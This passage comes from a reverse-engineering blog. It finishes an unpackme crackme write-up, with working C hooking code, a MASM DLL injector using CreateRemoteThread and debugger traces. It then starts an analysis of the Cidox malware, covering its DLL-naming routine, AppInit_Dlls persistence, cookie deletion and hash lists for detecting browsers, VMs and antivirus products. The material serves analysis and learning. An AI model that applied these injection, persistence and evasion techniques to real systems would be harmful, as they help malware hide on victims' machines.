color="#990000">(</font>return_addr <font color="#990000">==</font> <font color="#993399">0x00405ABF</font><font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">MessageBoxA</font></b><font color="#990000">(</font>NULL<font color="#990000">,</font> <font color="#FF0000">"ready ?"</font><font color="#990000">,</font> <font color="#FF0000">"Ready ?"</font><font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">);</font> <b><font color="#000000">fix_call</font></b><font color="#990000">();</font> <b><font color="#0000FF">__asm</font></b> jmp $ <font color="#FF0000">}</font> <b><font color="#0000FF">return</font></b> <b><font color="#000000">Resume_GetVersionExA</font></b><font color="#990000">(</font>lpVersionInfo<font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#009900">void</font> <b><font color="#000000">setup_hook</font></b><font color="#990000">(</font><font color="#009900">char</font> <font color="#990000">*</font>module<font color="#990000">,</font> <font color="#009900">char</font> <font color="#990000">*</font>name_export<font color="#990000">,</font> <font color="#009900">void</font> <font color="#990000">*</font>Hook_func<font color="#990000">,</font> <font color="#009900">void</font> <font color="#990000">*</font>trampo<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#008080">DWORD</font> OldProtect<font color="#990000">;</font> <font color="#008080">DWORD</font> len<font color="#990000">;</font> <font color="#008080">FARPROC</font> Proc<font color="#990000">;</font> Proc <font color="#990000">=</font> <b><font color="#000000">GetProcAddress</font></b><font color="#990000">(</font><b><font color="#000000">GetModuleHandleA</font></b><font color="#990000">(</font>module<font color="#990000">),</font> name_export<font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(!</font>Proc<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">MessageBoxA</font></b><font color="#990000">(</font>NULL<font color="#990000">,</font> name_export<font color="#990000">,</font> module<font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">);</font> <font color="#FF0000">}</font> len <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> <b><font color="#0000FF">while</font></b> <font color="#990000">(</font>len <font color="#990000">&lt;</font> <font color="#993399">5</font><font color="#990000">)</font> len <font color="#990000">+=</font> <b><font color="#000000">LDE</font></b><font color="#990000">((</font>BYTE<font color="#990000">*)</font>Proc <font color="#990000">+</font> len <font color="#990000">,</font> LDE_X86<font color="#990000">);</font> <b><font color="#000000">memcpy</font></b><font color="#990000">(</font>trampo<font color="#990000">,</font> Proc<font color="#990000">,</font> len<font color="#990000">);</font> <font color="#990000">*(</font>BYTE <font color="#990000">*)((</font>BYTE<font color="#990000">*)</font>trampo <font color="#990000">+</font> len<font color="#990000">)</font> <font color="#990000">=</font> <font color="#993399">0xE9</font><font color="#990000">;</font> <font color="#990000">*(</font>DWORD <font color="#990000">*)((</font>BYTE<font color="#990000">*)</font>trampo <font color="#990000">+</font> len <font color="#990000">+</font> <font color="#993399">1</font><font color="#990000">)</font> <font color="#990000">=</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>Proc <font color="#990000">-</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>trampo <font color="#990000">-</font> <font color="#993399">5</font><font color="#990000">;</font> <b><font color="#000000">VirtualProtect</font></b><font color="#990000">(</font>Proc<font color="#990000">,</font> len<font color="#990000">,</font> PAGE_EXECUTE_READWRITE<font color="#990000">,</font> <font color="#990000">&amp;</font>OldProtect<font color="#990000">);</font> <font color="#990000">*(</font>BYTE<font color="#990000">*)</font>Proc <font color="#990000">=</font> <font color="#993399">0xE9</font><font color="#990000">;</font> <font color="#990000">*(</font>DWORD<font color="#990000">*)((</font><font color="#009900">char</font><font color="#990000">*)</font>Proc <font color="#990000">+</font> <font color="#993399">1</font><font color="#990000">)</font> <font color="#990000">=</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>Hook_func <font color="#990000">-</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>Proc <font color="#990000">-</font> <font color="#993399">5</font><font color="#990000">;</font> <b><font color="#000000">VirtualProtect</font></b><font color="#990000">(</font>Proc<font color="#990000">,</font> len<font color="#990000">,</font> OldProtect<font color="#990000">,</font> <font color="#990000">&amp;</font>OldProtect<font color="#990000">);</font> <font color="#FF0000">}</font> BOOL <font color="#008080">WINAPI</font> <b><font color="#000000">DllMain</font></b><font color="#990000">(</font><font color="#008080">HINSTANCE</font> hinstDLL<font color="#990000">,</font> <font color="#008080">DWORD</font> fdwReason<font color="#990000">,</font> <font color="#008080">LPVOID</font> lpReserved<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">DisableThreadLibraryCalls</font></b><font color="#990000">(</font><b><font color="#000000">GetModuleHandleA</font></b><font color="#990000">(</font><font color="#FF0000">"inject_unpackme03.dll"</font><font color="#990000">));</font> Resume_GetVersionExA <font color="#990000">=</font> <font color="#990000">(</font><b><font color="#000000">BOOL</font></b><font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*)(</font>LPOSVERSIONINFO<font color="#990000">))</font><b><font color="#000000">VirtualAlloc</font></b><font color="#990000">(</font><font color="#993399">0</font><font color="#990000">,</font> <font color="#993399">0x1000</font><font color="#990000">,</font> MEM_COMMIT<font color="#990000">,</font> PAGE_EXECUTE_READWRITE<font color="#990000">);</font> <b><font color="#000000">memset</font></b><font color="#990000">(</font>Resume_GetVersionExA<font color="#990000">,</font> <font color="#993399">0x90</font><font color="#990000">,</font> <font color="#993399">0x1000</font><font color="#990000">);</font> <b><font color="#000000">setup_hook</font></b><font color="#990000">(</font><font color="#FF0000">"kernel32.dll"</font><font color="#990000">,</font> <font color="#FF0000">"GetVersionExA"</font><font color="#990000">,</font> <font color="#990000">&amp;</font>Hook_GetVersionExA<font color="#990000">,</font> Resume_GetVersionExA<font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> </tt></pre> My code use the Length Disassembly Engine from <a href="http://www.beaengine.org/downloads/LDE64-x86.rar" />BeatriX</a>.<br/> Now we code a little injector in masm for changing :<br/> <pre><tt><b><font color="#000080">.386</font></b> <b><font color="#000080">.model</font></b> flat<font color="#990000">,</font>stdcall option casemap<font color="#990000">:</font>none <b><font color="#0000FF">include</font></b> <font color="#990000">\</font>masm<font color="#993399">32</font><font color="#990000">\</font><b><font color="#0000FF">include</font></b><font color="#990000">\</font>windows<font color="#990000">.</font><b><font color="#0000FF">inc</font></b> <b><font color="#0000FF">include</font></b> <font color="#990000">\</font>masm<font color="#993399">32</font><font color="#990000">\</font><b><font color="#0000FF">include</font></b><font color="#990000">\</font>kernel<font color="#993399">32</font><font color="#990000">.</font><b><font color="#0000FF">inc</font></b> includelib <font color="#990000">\</font>masm<font color="#993399">32</font><font color="#990000">\</font>lib<font color="#990000">\</font>kernel<font color="#993399">32</font><font color="#990000">.</font>lib <b><font color="#000080">.data</font></b> PInfo PROCESS_INFORMATION <font color="#990000">&lt;&gt;</font> SInfo STARTUPINFOA <font color="#990000">&lt;&gt;</font> Kernel <b><font color="#0000FF">db</font></b> <font color="#FF0000">"kernel32.dll"</font><font color="#990000">,</font> <font color="#993399">0</font> LLib <b><font color="#0000FF">db</font></b> <font color="#FF0000">"LoadLibraryA"</font><font color="#990000">,</font> <font color="#993399">0</font> exe_name <b><font color="#0000FF">db</font></b> <font color="#FF0000">"03_unpackme.exe"</font><font color="#990000">,</font> <font color="#993399">0</font> dll_name <b><font color="#0000FF">db</font></b> <font color="#FF0000">"inject_unpackme03.dll"</font><font color="#990000">,</font> <font color="#993399">0</font> Addr_name <b><font color="#0000FF">dd</font></b> <font color="#993399">0</font> <b><font color="#000080">.code</font></b> <b><font color="#000080">start:</font></b> invoke GetStartupInfo<font color="#990000">,</font> addr SInfo invoke CreateProcess<font color="#990000">,</font> addr exe_name<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> FALSE<font color="#990000">,</font> CREATE_SUSPENDED<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> addr SInfo<font color="#990000">,</font> addr PInfo invoke VirtualAllocEx<font color="#990000">,</font> PInfo<font color="#990000">.</font>hProcess<font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">,</font> <font color="#993399">100h</font><font color="#990000">,</font> MEM_COMMIT<font color="#990000">,</font> PAGE_READWRITE <b><font color="#0000FF">mov</font></b> <font color="#990000">[</font>Addr_name<font color="#990000">],</font> <font color="#009900">eax</font> invoke WriteProcessMemory<font color="#990000">,</font> PInfo<font color="#990000">.</font>hProcess<font color="#990000">,</font> Addr_name<font color="#990000">,</font> addr dll_name<font color="#990000">,</font> LENGTHOF dll_name<font color="#990000">,</font> NULL invoke GetModuleHandleA<font color="#990000">,</font> addr Kernel invoke GetProcAddress<font color="#990000">,</font> <font color="#009900">eax</font><font color="#990000">,</font> addr LLib invoke CreateRemoteThread<font color="#990000">,</font> PInfo<font color="#990000">.</font>hProcess<font color="#990000">,</font> NULL<font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">,</font> <font color="#009900">eax</font><font color="#990000">,</font> <font color="#990000">[</font>Addr_name<font color="#990000">],</font> <font color="#993399">0</font><font color="#990000">,</font> NULL invoke WaitForSingleObject<font color="#990000">,</font> <font color="#009900">eax</font><font color="#990000">,</font> INFINITE invoke ResumeThread<font color="#990000">,</font> PInfo<font color="#990000">.</font>hThread <b><font color="#000080">exit:</font></b> invoke ExitProcess<font color="#990000">,</font> <font color="#993399">0</font> <b><font color="#0000FF">end</font></b> start</tt></pre><br/> So as you can see, I used a little trick for waiting unpacking of all executables : <br/> I setup an hook on GetVersionExA() and if the call occurs from one interesting address (near OEP), I call fix "fix_call" function and enter in infinite loop.<br/> With this infinite loop we can attach Olly to our process and watch the result :<br/><br/> <center><img src="/public/unpackme_result.png" /></center><br/> It's cool, but wait i forgot to talk about one thing, finding real OEP !<br/> Restart OllyDBG, let the loop xor all the first stage, and setup breakpoint on : <pre><code>0041196F E8 C2010000 CALL 03_unpac.00411B36</pre></code> Step into and add breakpoint on : <pre><code>00411B61 FF95 4B1D4000 CALL DWORD PTR SS:[EBP+401D4B]</pre></code> You should land here (Addr can change due to allocated memory) : <pre><code>00157C44 ^\FFA5 BB1F4000 JMP DWORD PTR SS:[EBP+401FBB]</pre></code> Trace the code until you got something like that : <pre><code>00153BC4 9D POPFD 00153BC5 61 POPAD 00153BC6 5A POP EDX 00153BC7 58 POP EAX 00153BC8 E8 D35F0000 CALL 00159BA0</pre></code> If we step into, we will find something very interesting : <pre><code>00159BA0 60 PUSHAD 00159BA1 E8 00000000 CALL 00159BA6 00159BA6 5D POP EBP 00159BA7 81ED E21B4000 SUB EBP,401BE2 00159BAD 8B7424 20 MOV ESI,DWORD PTR SS:[ESP+20] 00159BB1 83EE 05 SUB ESI,5 00159BB4 8B9D 111C4000 MOV EBX,DWORD PTR SS:[EBP+401C11] 00159BBA 83EB 28 SUB EBX,28 00159BBD 83C3 28 ADD EBX,28 00159BC0 3973 10 CMP DWORD PTR DS:[EBX+10],ESI 00159BC3 ^ 75 F8 JNZ SHORT 00159BBD 00159BC5 8B73 08 MOV ESI,DWORD PTR DS:[EBX+8] 00159BC8 89B5 0C1C4000 MOV DWORD PTR SS:[EBP+401C0C],ESI 00159BCE 61 POPAD 00159BCF 68 DEC0ADDE PUSH DEADC0DE 00159BD4 C3 RET</pre></code> This not api resolution, but call resolution !<br/> This sub is quite simple, like api resolution it will check into a table the offset of the call and replace 0xDEADCODE by the addr of the (stolen ?) call.<br/> I think (it's not sure) the packer has stolen some call from the virgin file and reconstruct them with a push addr ret.<br/> <center><img src="/public/unpackme_stolen.png" /></center><br/> Let's put a conditional log on ret address ( Expression = "[esp]" ).<br/> We run the program and exit him and watch the log.<br/> <pre><code>00159BD4 COND: 004085D4 00159BD4 COND: 00402128 00159BD4 COND: 004014C4 00159BD4 COND: 0040212C 00159BD4 COND: 00402D44 00159BD4 COND: 004085D4 00159BD4 COND: 00403D20 00159BD4 COND: 00403FA4 00159BD4 COND: 00403394 00159BD4 COND: 004033A4 00159BD4 COND: 00402F2C 00159BD4 COND: 004085B6 00159BD4 COND: 004085AA 00159BD4 COND: 00405BD4 00159BD4 COND: 00405C18 00159BD4 COND: 004066AC 00159BD4 COND: 004066B4 00159BD4 COND: 00406978 00159BD4 COND: 004085D4 7E390000 Module C:\WINDOWS\system32\USER32.DLL 00159BD4 COND: 00405B84 77EF0000 Module C:\WINDOWS\system32\GDI32.dll Process terminated, exit code 0</pre></code> If you remember at the begining of the article, the second breakpoint on access on code section land us to the first entry of your log, is it OEP ?<br/> I don't think so, it's a call to GetModuleHandleA(), ... strange, ... strange.<br/> If you look closely, there is another thing strange, before the log of the loading module "USER32.dll", we can see a call to 0x004085D4, but this call is just a redirection to GetModuleHandleA, so what's happen between ?<br/> We will restart our debugger and put a breakpoint on the ret of the call redirection function and wait until it go to the last 0x004085D4.<br/><br/> <center><img src="/public/unpackme_last.png" /></center><br/> We trace the code, call "api address solving", we put a breakpoint on the JMP EAX, trace into GetModuleHandleA(), and execute till return.<br/> We are back into virtual memory code, and trace it until get :<br/> <pre><code>00154119 9D POPFD 0015411A 61 POPAD 0015411B 5A POP EDX 0015411C 58 POP EAX 0015411D FF56 18 CALL DWORD PTR DS:[ESI+18]</pre></code> [ESI + 18] will be equal to 0x00401000, is it the real OEP ? <pre><code>00401000 55 PUSH EBP 00401001 8BEC MOV EBP,ESP 00401003 6A 00 PUSH 0 00401005 68 20104000 PUSH 03_unpac.00401020 0040100A 6A 00 PUSH 0 0040100C 68 E7030000 PUSH 3E7 00401011 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00401014 50 PUSH EAX 00401015 E8 56760000 CALL 03_unpac.00408670 0040101A 33C0 XOR EAX,EAX 0040101C 5D POP EBP 0040101D C2 1000 RET 10</pre></code> CALL 03_unpac.00408670 will go to resolve api, and call DialogBoxParamA().<br/> But wait we store first argument into eax, so this function need an argument.<br/> If we look msdn documentation first parameter of DialogBoxParamA() is a handle to the module whose executable file contains the dialog box template.<br/> So the parameter of this function should be the result of GetModuleHandleA(NULL) (this will be first stolen fix).<br/> A second problem is when we will return from DialogBoxParamA, and return from sub_00401000 we should ret to a fonction wich call ExitProcess().<br/> Launch the injector, and attach olly to the process, and search reference to kernel32.ExitProcess, and we found this sub : <pre><code>0040669C 55 PUSH EBP 0040669D 8BEC MOV EBP,ESP 0040669F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 004066A2 50 PUSH EAX 004066A3 E8 F01E0000 CALL 03_unpac.00408598 ; JMP to kernel32.ExitProcess 004066A8 5D POP EBP 004066A9 C3 RET </code></pre> <p>Now we just have to find some place for putting the stolen bytes, just after all the jmp dword ptr [idata_section] it's cool.<br/></p> <ul> <li>Add a call to GetmoduleHandleA(NULL) for getting base adresse required by DialogBoxParamA</li> <li>Push Addr of ExitProcess()'s sub</li> <li>Push Real OEP</li> <li>Ret to it</li> </ul> <p><center><img src="/public/unpackme_fixstolen.png" /></center><br/></p> <p>Now we can dump our process with our favorite toolz dumper, and fix iat with ImportRec and putting the new OEP.<br/><br/></p> <p><center><img src="/public/unpackme_imp.png" /></center><br/><br/></p> <p>We test the dump file and it works :].<br/></p> <h2>Conclusion</h2> <p>As <a href="https://twitter.com/#!/deroko_">deroko</a> said, this unpackme is really not difficult, but I enjoyed solving it.</p> http://blog.w4kfu.compost/unpackme_03 2012-03-11T18:42:49Z 2012-03-11T18:42:49Z Studying Cidox w4kfu <h2>Introduction</h2> <p>When I saw article from Xylitol's blog about <a href="http://xylibox.blogspot.com/2011/11/tracking-cyber-crime-malwox-win32cidox.html">Tracking Cyber Crime: Malwox (Win32/Cidox Affiliate) Mayachok.1</a>, I asked my irc bot to scan each hour files dropped by this site to make some stats about repacking interval ( you can see a screenshot of statistics in next part).<br/> It's cool to have a lot of samples but it's more funny to study them.<br/></p> <h2>Statistics</h2> <p><a href="http://blog.w4kfu.com/public/cidox_work/stat_big.png"><img src="/public/cidox_work/stat.png" alt="stats_cidox.png" /></a><br/></p> <p>As you can see it is repacked approximately each 5 / 6 hours to avoid AV detections.<br/> At the moment the bot is in beta test, and many logout occur every time I have to recompile it, so stats are approximate.<br/></p> <h2>Dropper</h2> <p>Here, I will not study packer, but just the method of infection which is not very interesting (and old school ?).<br/></p> <pre><code><span style="color:navy">call ds:</span><span style="color:#ff00ff">GetCommandLineA </span><span style="color:navy">push offset aChk </span><span style="color:gray">; &quot; /chk&quot; </span><span style="color:navy">call </span>strcmp <span style="color:navy">pop ecx test eax, eax jz short </span><span style="color:gray">if_arg_not_chk </span></pre></code> Finding this test was funny, if the unpacked executable found "/chk" on his command line argument, it will exit directly, maybe for testing their repack routine (~5hours).<br/> If it don't find this argument, it will generate a random dll name using this routine : <pre><tt><font color="#009900">void</font> <b><font color="#000000">generate_name</font></b><font color="#990000">(</font><font color="#009900">void</font><font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#009900">char</font> SysPath<font color="#990000">[</font><font color="#993399">256</font><font color="#990000">];</font> <font color="#009900">char</font> VolumeName<font color="#990000">[</font><font color="#993399">256</font><font color="#990000">];</font> <font color="#009900">char</font> SystemName<font color="#990000">[</font><font color="#993399">256</font><font color="#990000">];</font> <font color="#009900">char</font> DLLName<font color="#990000">[</font><font color="#993399">256</font><font color="#990000">]</font> <font color="#990000">=</font> <font color="#FF0000">{</font><font color="#993399">0</font><font color="#FF0000">}</font><font color="#990000">;</font> <font color="#008080">DWORD</font> SerialNumber<font color="#990000">;</font> <font color="#008080">DWORD</font> MaxFileName<font color="#990000">;</font> <font color="#008080">DWORD</font> SysFlags<font color="#990000">;</font> <font color="#009900">int</font> i<font color="#990000">;</font> <font color="#009900">unsigned</font> <font color="#009900">int</font> a<font color="#990000">;</font> <b><font color="#000000">GetSystemDirectoryA</font></b><font color="#990000">(</font>SysPath<font color="#990000">,</font> <font color="#993399">256</font><font color="#990000">);</font> <b><font color="#000000">GetVolumeInformationA</font></b><font color="#990000">(</font><font color="#FF0000">"c:</font><font color="#CC33CC">\\</font><font color="#FF0000">"</font><font color="#990000">,</font> VolumeName<font color="#990000">,</font> <font color="#993399">256</font><font color="#990000">,</font> <font color="#990000">&amp;</font>SerialNumber<font color="#990000">,</font> <font color="#990000">&amp;</font>MaxFileName<font color="#990000">,</font> <font color="#990000">&amp;</font>SysFlags<font color="#990000">,</font> SystemName<font color="#990000">,</font> <font color="#993399">256</font><font color="#990000">);</font> <b><font color="#0000FF">for</font></b> <font color="#990000">(</font>i <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> i <font color="#990000">&lt;</font> <font color="#993399">8</font><font color="#990000">;</font> i<font color="#990000">++)</font> <font color="#FF0000">{</font> SerialNumber <font color="#990000">*=</font> <font color="#993399">0xD</font><font color="#990000">;</font> SerialNumber <font color="#990000">+=</font> <font color="#993399">0x12D687</font><font color="#990000">;</font> SerialNumber <font color="#990000">=</font> <b><font color="#000000">_byteswap_ulong</font></b><font color="#990000">(</font>SerialNumber<font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#0000FF">for</font></b> <font color="#990000">(</font>i <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> i <font color="#990000">&lt;</font> <font color="#993399">7</font><font color="#990000">;</font> i<font color="#990000">++)</font> <font color="#FF0000">{</font> a <font color="#990000">=</font> SerialNumber<font color="#990000">;</font> SerialNumber <font color="#990000">/=</font> <font color="#993399">0x1A</font><font color="#990000">;</font> DLLName<font color="#990000">[</font>i<font color="#990000">]</font> <font color="#990000">=</font> a <font color="#990000">%</font> <font color="#993399">0x1A</font> <font color="#990000">+</font> <font color="#993399">97</font><font color="#990000">;</font> <font color="#FF0000">}</font> <font color="#FF0000">}</font></tt></pre> <p>For example : <pre><code>SerialNumber = 1880116967 Dll name = avjemfc.dll</code></pre></p> <p>The dll is then decrypted using custom <a href="http://fr.wikipedia.org/wiki/Tiny_Encryption_Algorithm">TEA Algorithm</a> ( we will study it in next part ), and written into %SYSTEMROOT%/system32.<br/> Next it sets into a registry key the <a href="http://support.microsoft.com/kb/197571/fr">AppInit_Dlls</a> value which is the path to this dll, in order that each process using user32.dll will load this dll.<br/> Before restarting your computer with <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa376868(v=vs.85).aspx">ExitWindowsEx()</a>, it will delete all files present into :</p> <ul> <li>C:\Documents and Settings\username\Cookies</li> <li>C:\Documents and Settings\username\Local Settings\Temporary Internet Files</li> </ul> <p>They use <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/bb762204(v=vs.85).aspx">SHGetSpecialFolderPath()</a> with csidl argument equal to CSIDL_COOKIES and CSIDL_INTERNET_CACHE to delete them.<br/> Maybe for cleaning traces of infection.<br/></p> <h2>DLL</h2> <p>As you can imagine the dll is also packed.<br/></p> <p>The DLLMain graph looks like this :</p> <p><img src="/public/cidox_work/graph_dllmain.png" alt="graph_dllmain.png" /></p> <p>As you can see there are four branches depending of the fwdReason argument of DLLMain function.<br/> The first one, DLL_PROCESS_ATTACH, will be called when the dll is loaded in each process using user32.dll ( AppInit_Dlls ).<br/> This branch is just here for allocating memory, and unpacking the real stuff of the dll.<br/> It just unpacks the dll, but it will not execute the unpacked code.<br/> It will be executed when fwdReason == DLL_THREAD_ATTACH, so when the process uses <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx">CreateThread()</a> for example.<br/> The other branches are not interesting.<br/> After unpacking this stuff, I was able to work with IDA without problem.<br/> There are three branches of different execution flow based on the process name the dll is into : <br/></p> <p><img src="/public/cidox_work/graph_branch.png" alt="graph_branch.png" /></p> <p>They use an hashing algorithm, in order to test if they are in a browser process or not, and they do the same thing to detect vm processes and av names into program files folder.<br/> So here is a complete test program to test all their hash table :</p> <pre><tt><b><font color="#000080">#include</font></b> <font color="#FF0000">&lt;stdio.h&gt;</font> <font color="#009900">int</font> hash_process_vm<font color="#990000">[]</font> <font color="#990000">=</font> <font color="#FF0000">{</font> <font color="#993399">0x99DD4432</font><font color="#990000">,</font> <font color="#993399">0x1F413C1F</font><font color="#990000">,</font> <font color="#993399">0x0B2CE5FDE</font><font color="#990000">,</font> <font color="#993399">0x3BFFF885</font><font color="#990000">,</font> <font color="#993399">0x64340DCE</font><font color="#990000">,</font> <font color="#993399">0x63C54474</font><font color="#990000">,</font> <font color="#993399">0</font> <font color="#FF0000">}</font><font color="#990000">;</font> <font color="#009900">int</font> hash_program_files<font color="#990000">[]</font> <font color="#990000">=</font> <font color="#FF0000">{</font> <font color="#993399">0x0F7C386B2</font><font color="#990000">,</font> <font color="#993399">0x9E46A936</font><font color="#990000">,</font> <font color="#993399">0x74B36500</font><font color="#990000">,</font> <font color="#993399">0x0B6E7E008</font><font color="#990000">,</font> <font color="#993399">0x65149B58</font><font color="#990000">,</font> <font color="#993399">0x1CE7528E</font><font color="#990000">,</font> <font color="#993399">0x1A704388</font><font color="#990000">,</font> <font color="#993399">0x4C9EECB5</font><font color="#990000">,</font> <font color="#993399">0x0D3749631</font><font color="#990000">,</font> <font color="#993399">0x756ABC4D</font><font color="#990000">,</font> <font color="#993399">0x3E6A4D93</font><font color="#990000">,</font> <font color="#993399">0x812EAFC4</font><font color="#990000">,</font> <font color="#993399">0x1433DC7E</font><font color="#990000">,</font> <font color="#993399">0x0C1364B22</font><font color="#990000">,</font> <font color="#993399">0x5BBE66BD</font><font color="#990000">,</font> <font color="#993399">0x4965900D</font><font color="#990000">,</font> <font color="#993399">0x0E8406786</font><font color="#990000">,</font> <font color="#993399">0x62F204B9</font><font color="#990000">,</font> <font color="#993399">0x31A89D7B</font><font color="#990000">,</font> <font color="#993399">0x0E8AB39EA</font><font color="#990000">,</font> <font color="#993399">0x0C093AB43</font><font color="#990000">,</font> <font color="#993399">0x983757A0</font><font color="#990000">,</font> <font color="#993399">0x0D5B274B0</font><font color="#990000">,</font> <font color="#993399">0x2B7F9687</font><font color="#990000">,</font> <font color="#993399">0x585834DD</font><font color="#990000">,</font> <font color="#993399">0x0A53C3B2D</font><font color="#990000">,</font> <font color="#993399">0x1E519C8D</font><font color="#990000">,</font> <font color="#993399">0x28388EC6</font><font color="#990000">,</font> <font color="#993399">0x37A4DB47</font><font color="#990000">,</font> <font color="#993399">0x2AA1E9D7</font><font color="#990000">,</font> <font color="#993399">0x83B99225</font><font color="#990000">,</font> <font color="#993399">0x6A057127</font><font color="#990000">,</font> <font color="#993399">0x0D119C72B</font><font color="#990000">,</font> <font color="#993399">0x5D614D4B</font><font color="#990000">,</font> <font color="#993399">0x5436485D</font><font color="#990000">,</font> <font color="#993399">0x45490640</font><font color="#990000">,</font> <font color="#993399">0x0E38FAD29</font><font color="#990000">,</font> <font color="#993399">0</font> <font color="#FF0000">}</font><font color="#990000">;</font> <font color="#009900">int</font> hash_executable_name<font color="#990000">[]</font> <font color="#990000">=</font> <font color="#FF0000">{</font><font color="#993399">0x244CC8B2</font><font color="#990000">,</font> <font color="#993399">0x9DC03F1E</font><font color="#990000">,</font> <font color="#993399">0x66B49B77</font><font color="#990000">,</font> <font color="#993399">0x7207B507</font><font color="#990000">,</font> <font color="#993399">0x80D1F7CF</font><font color="#990000">,</font> <font color="#993399">0x37965AFA</font><font color="#990000">,</font> <font color="#993399">0x9006A423</font><font color="#990000">,</font> <font color="#993399">0</font><font color="#FF0000">}</font><font color="#990000">;</font> <font color="#009900">char</font> <font color="#990000">*</font>process_name<font color="#990000">[]</font> <font color="#990000">=</font> <font color="#FF0000">{</font><font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">IEXPLORE.EXE"</font><font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">FIREFOX.EXE"</font><font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">CHROME.EXE"</font><font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">SAFARI.EXE"</font><font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">OPERA.EXE"</font><font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">SVCHOST.EXE"</font><font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">NETSCAPE.EXE"</font><font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\\</font><font color="#FF0000">MOZILLA.EXE"</font><font color="#990000">,</font> <font color="#993399">0</font> <font color="#FF0000">}</font><font color="#990000">;</font> <font color="#009900">char</font> <font color="#990000">*</font>av_program_files<font color="#990000">[]</font> <font color="#990000">=</font> <font color="#FF0000">{</font><font color="#FF0000">"AVIRA"</font><font color="#990000">,</font> <font color="#FF0000">"AV"</font><font color="#990000">,</font> <font color="#FF0000">"AntiVir"</font><font color="#990000">,</font> <font color="#FF0000">"Synaptics"</font><font color="#990000">,</font> <font color="#FF0000">"Avast"</font><font color="#990000">,</font> <font color="#FF0000">"Alwil Software"</font><font color="#990000">,</font> <font color="#FF0000">"AVG"</font><font color="#990000">,</font> <font color="#FF0000">"BitDefender"</font><font color="#990000">,</font> <font color="#FF0000">"ByteHero"</font><font color="#990000">,</font> <font color="#FF0000">"clamAV"</font><font color="#990000">,</font> <font color="#FF0000">"Commtouch"</font><font color="#990000">,</font> <font color="#FF0000">"Comodo"</font><font color="#990000">,</font> <font color="#FF0000">"DrWeb"</font><font color="#990000">,</font> <font color="#FF0000">"Emsisoft Anti-Malware"</font><font color="#990000">,</font> <font color="#FF0000">"eSafe"</font><font color="#990000">,</font> <font color="#FF0000">"eSafeMNG"</font><font color="#990000">,</font> <font color="#FF0000">"eTrust EZ Antivirus"</font><font color="#990000">,</font> <font color="#FF0000">"FSI"</font><font color="#990000">,</font> <font color="#FF0000">"FRISK Software"</font><font color="#990000">,</font> <font color="#FF0000">"F-Secure"</font><font color="#990000">,</font> <font color="#FF0000">"Fortinet"</font><font color="#990000">,</font> <font color="#FF0000">"G Data"</font><font color="#990000">,</font> <font color="#FF0000">"ikarus"</font><font color="#990000">,</font> <font color="#FF0000">"Jiangmin"</font><font color="#990000">,</font> <font color="#FF0000">"k7 computing"</font><font color="#990000">,</font> <font color="#FF0000">"Kaspersky Lab"</font><font color="#990000">,</font> <font color="#FF0000">"McAfee"</font><font color="#990000">,</font> <font color="#FF0000">"ESET"</font><font color="#990000">,</font> <font color="#FF0000">"ESET NOD32 Antivirus"</font><font color="#990000">,</font> <font color="#FF0000">"Norman"</font><font color="#990000">,</font> <font color="#FF0000">"Norton SystemWorks"</font><font color="#990000">,</font> <font color="#FF0000">"Panda Software"</font><font color="#990000">,</font> <font color="#FF0000">"Panda Security"</font><font color="#990000">,</font> <font color="#FF0000">"PC Tools"</font><font color="#990000">,</font> <font color="#FF0000">"PREVX"</font><font color="#990000">,</font> <font color="#FF0000">"Rising"</font><font color="#990000">,</font> <font color="#FF0000">"RAV"</font><font color="#990000">,</font> <font color="#FF0000">"Sophos"</font><font color="#990000">,</font> <font color="#FF0000">"SUPERAntiSpyware"</font><font color="#990000">,</font> <font color="#FF0000">"Symantec AntiVirus"</font><font color="#990000">,</font> <font color="#FF0000">"Symantec"</font><font color="#990000">,</font> <font color="#FF0000">"Trend Micro"</font><font color="#990000">,</font> <font color="#FF0000">"VBA32"</font><font color="#990000">,</font> <font color="#FF0000">"VIPRE"</font><font color="#990000">,</font> <font color="#FF0000">"VIPRE Antivirus"</font><font color="#990000">,</font> <font color="#FF0000">"Sunbelt Software"</font><font color="#990000">,</font> <font color="#FF0000">"ViRobot"</font><font color="#990000">,</font> <font color="#FF0000">"VirusBuster"</font><font 